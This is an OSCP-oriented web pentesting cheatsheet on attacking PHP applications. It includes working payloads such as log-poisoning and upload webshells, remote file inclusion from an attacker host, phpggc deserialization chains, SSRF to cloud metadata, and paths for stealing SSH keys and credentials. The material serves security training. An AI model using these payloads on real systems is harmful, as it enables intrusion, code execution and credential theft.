Skip to main content

PHP

Part of 03 Languages in the Web Application Testing Cheatsheet.

Contents:


1. Detection​

1.1 Headers and cookies​

Header / cookieIndicates
X-Powered-By: PHP/8.1.2PHP, version visible
Set-Cookie: PHPSESSID=...PHP session
Server: Apache/2.4.41 (Ubuntu) + .php in URLLAMP stack
Server: nginx + .phpLEMP stack
X-Powered-By: PHP absent (hidden)PHP still likely if .php works

1.2 Error messages​

PHP errors are extremely verbose by default:

Error textMeaning
Warning: include(...): failed to open streamLFI candidate
Fatal error: Uncaught ErrorUncaught exception, version in trace
Parse error: syntax errorCode injection candidate
Notice: Undefined indexLoose error reporting

1.3 File extensions​

Fuzz for these extensions when brute-forcing:

.php, .php3, .php4, .php5, .php7, .phtml, .phar, .phps (source), .inc

Backup extensions:

.php.bak, .php~, .php.old, .php.swp, .php.save

# ffuf with PHP extensions
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -e .php,.php.bak,.php~,.phtml,.phps

1.4 Version fingerprinting​

# Look at X-Powered-By header
curl -sI http://<TARGET>/ | grep -i php

# phpinfo.php - if exposed
curl -s http://<TARGET>/phpinfo.php | grep -i "PHP Version"

# readme.html (WordPress) reveals PHP compatibility

2. Enumeration​

2.1 Common files​

PathPurpose
/phpinfo.phpFull PHP config dump
/info.phpSame, alternative name
/composer.jsonDependency list (versions)
/composer.lockExact versions
/.envDB creds, API keys
/config.phpApp config
/wp-config.phpWordPress DB creds

2.2 Directory fuzzing​

ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php
gobuster dir -u http://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,phtml,php5

2.3 PHP-specific recon via phpinfo()​

If phpinfo.php is exposed, extract:

  • disable_functions - what is blocked (system, exec, shell_exec, popen, proc_open)
  • open_basedir - filesystem restrictions
  • allow_url_include - RFI possible
  • upload_max_filesize - upload limits
  • Loaded Configuration File - path to php.ini

IMPORTANT

OSCP report: take a screenshot of phpinfo.php if exposed (command + output + timestamp).


3. Known CVEs​

CVEAffectedImpactNVD
CVE-2019-11043PHP-FPM 7.1-7.3 with nginxRCE via PATH_INFO underflowhttps://nvd.nist.gov/vuln/detail/CVE-2019-11043
CVE-2024-4577PHP 8.1-8.3 on WindowsCGI argument injection RCEhttps://nvd.nist.gov/vuln/detail/CVE-2024-4577
CVE-2021-21707PHP < 7.4.26 / 8.0.13Special char in URL bypasses filterhttps://nvd.nist.gov/vuln/detail/CVE-2021-21707
CVE-2020-7066PHP < 7.2.29 / 7.3.16 / 7.4.4URL truncation in get_headershttps://nvd.nist.gov/vuln/detail/CVE-2020-7066
CVE-2019-6340Drupal 8 (PHP)RCE via RESThttps://nvd.nist.gov/vuln/detail/CVE-2019-6340

4. Exploitation patterns​

4.1 File inclusion (LFI / RFI)​

LFI basic:

http://<TARGET>/page.php?file=../../../../etc/passwd
http://<TARGET>/page.php?file=../../../../etc/passwd%00 (PHP < 5.3.4, null byte)

LFI to RCE via log poisoning:

# Poison Apache access log with PHP code in User-Agent
curl -A "<?php system(\$_GET['c']); ?>" http://<TARGET>/

# Include the log
curl "http://<TARGET>/page.php?file=../../../../var/log/apache2/access.log&c=id"

LFI to RCE via /proc/self/environ (older kernels):

curl -A "<?php system(\$_GET['c']); ?>" "http://<TARGET>/page.php?file=../../../../proc/self/environ&c=id"

LFI to RCE via php://filter + php://input (if allow_url_include=On):

http://<TARGET>/page.php?file=php://filter/convert.base64-decode/resource=php://input
POST body: PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==

RFI basic (requires allow_url_include=On):

http://<TARGET>/page.php?file=http://<LHOST>/shell.txt

4.2 File upload bypass​

Extension bypass tricks:

TrickExample
Double extensionshell.php.jpg
Null byte (old)shell.php%00.jpg
Case variationshell.PHP, shell.PhP
Alternate extensionsshell.phtml, shell.php5, shell.phar
Trailing space (Windows)shell.php
Trailing dot (Windows)shell.php.
Semicolonshell.php;.jpg

Magic bytes bypass:

# Prepend GIF header
printf 'GIF89a;<?php system($_GET["c"]); ?>' > shell.php.gif

.htaccess upload (Apache): if you can upload .htaccess, make .jpg execute as PHP:

AddType application/x-httpd-php .jpg

4.3 Deserialization​

PHP unserialize() on user input = potential RCE via magic methods (__wakeup, __destruct, __toString).

// Vulnerable pattern
$data = unserialize($_COOKIE['data']);

phpggc - PHP Generic Gadget Chains:

git clone https://github.com/ambionics/phpggc
phpggc Monolog/RCE1 system id
phpggc Laravel/RCE1 system id -b

PHAR deserialization (PHP 7.x, trigger via file_exists('phar://...')):

phpggc -p phar -o evil.phar Monolog/RCE1 system id
# Upload evil.phar, then trigger:
curl "http://<TARGET>/?file=phar://uploads/evil.phar/test"

4.4 Type juggling​

Loose comparison == can be bypassed:

ComparisonBypass
$pass == "secret"$pass = 0 (if "secret" is non-numeric string, but 0 == "secret" is false in PHP 8)
md5($x) == md5($y)0e... magic hashes (240610708 == QNKCDZO)
strcmp($a, $b) == 0Pass array: ?a[]=x -> strcmp returns NULL
in_array($x, $arr)Type juggling: 0 matches "admin" in PHP < 8

Magic MD5 hashes (both 0e...):

240610708 -> 0e462097431906509019562988736854
QNKCDZO -> 0e830400451993494058024219903391

4.5 Command injection​

Common sinks:

system($_GET['c']);
exec($_GET['c']);
shell_exec($_GET['c']);
passthru($_GET['c']);
popen($_GET['c'], 'r');
proc_open($_GET['c'], [], $pipes);
`$_GET['c']`;

Bypasses for disable_functions:

  • LD_PRELOAD + mail() / error_log() (needs putenv)
  • ImageMagick (convert) - delegates.xml
  • imagemagick CVE-2016-3714 (ImageTragick)
  • PHP-FPM + fastcgi socket

4.6 SSRF via curl / file_get_contents​

curl_exec(curl_init($_GET['url']));
file_get_contents($_GET['url']);

Targets:

  • Cloud metadata: http://169.254.169.254/latest/meta-data/
  • Internal services: http://127.0.0.1:6379/ (Redis)
  • gopher:// to interact with other protocols: gopher://127.0.0.1:6379/_INFO

4.7 preg_replace /e (PHP < 7.0)​

preg_replace('/.*/e', $_GET['c'], 'x'); // RCE

Removed in PHP 7.0. In older code: preg_replace with /e modifier = RCE.


5. Post-exploitation​

5.1 Read config files​

/var/www/html/wp-config.php
/var/www/html/config.php
/var/www/html/.env
/var/www/html/includes/config.php
/var/www/html/app/config/parameters.yml

5.2 PHP session files​

If you control a session value ($_SESSION['user'] = $_GET['u']), session files are readable:

/var/lib/php/sessions/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
/var/lib/php5/sess_<PHPSESSID>

Session poisoning: set your session value to PHP code via a parameter, then include the session file.

5.3 SSH keys via LFI​

/root/.ssh/id_rsa
/home/<USER>/.ssh/id_rsa

5.4 Credential reuse​

Extracted creds from configs often work for MySQL, SSH, other web apps.


6. OSCP notes​

IMPORTANT

OSCP report: screenshot the .php source or config file that reveals the vulnerability (e.g. unsanitized $_GET, include($_GET['file'])).

IMPORTANT

OSCP report: screenshot the moment of RCE (webshell response, LFI->log poisoning, phpggc chain).

IMPORTANT

OSCP report: screenshot any config file read that yields credentials for lateral movement.


7. References​